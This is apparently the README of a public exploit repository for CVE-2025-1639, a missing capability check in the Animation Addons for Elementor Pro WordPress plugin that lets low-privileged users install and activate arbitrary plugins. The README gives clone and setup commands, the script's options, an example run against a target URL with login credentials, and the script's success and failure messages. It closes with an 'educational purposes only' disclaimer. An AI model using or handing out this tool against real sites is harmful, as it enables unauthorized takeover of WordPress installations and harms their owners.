nxploited/cve-2025-1639Animation Addons for Elementor Pro <= 1.6 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation/Activation
The Animation Addons for Elementor Pro plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the install_elementor_plugin_handler() function in all versions up to, and including, 1.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to install and activate arbitrary plugins which can be leveraged to further infect a victim when Elementor is not activated on a vulnerable site.
requests libraryBeautifulSoup librarygit clone https://github.com/Nxploited/CVE-2025-1639.git
cd CVE-2025-1639
pip install -r requirements.txt
usage: CVE-2025-1639.py [-h] -u URL -un USERNAME -p PASSWORD [-pl PLUGIN]
Exploit script for CVE-2025-1639 # By Nxploit | Kaled ALenazi
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL
-un USERNAME, --username USERNAME
WordPress username
-p PASSWORD, --password PASSWORD
WordPress password
-pl PLUGIN, --plugin PLUGIN
Plugin slug to upload and activate (default: wp-maintenance-mode)
-u, --url: Target URL-un, --username: WordPress username-p, --password: WordPress password-pl, --plugin (optional): Plugin slug to upload and activate (default: wp-maintenance-mode)python CVE-2025-1639.py -u http://example.com/wordpress -un admin -p password -pl wp-maintenance-mode
Logged in successfully.: Indicates successful login.The site is vulnerable... Exploiting and uploading the plugin.: Indicates the target site is vulnerable and the exploit is in progress.Plugin uploaded and activated successfully.: Indicates the plugin has been successfully uploaded and activated.Failed to log in.: Indicates login failure.The site is not vulnerable.: Indicates the target site is not running a vulnerable version.Failed to extract security token.: Indicates failure in extracting the security token required for exploitation.Failed to upload and activate the plugin.: Indicates failure in uploading and activating the plugin.This script is for educational purposes only. Use it at your own risk. The author is not responsible for any damage caused by this script.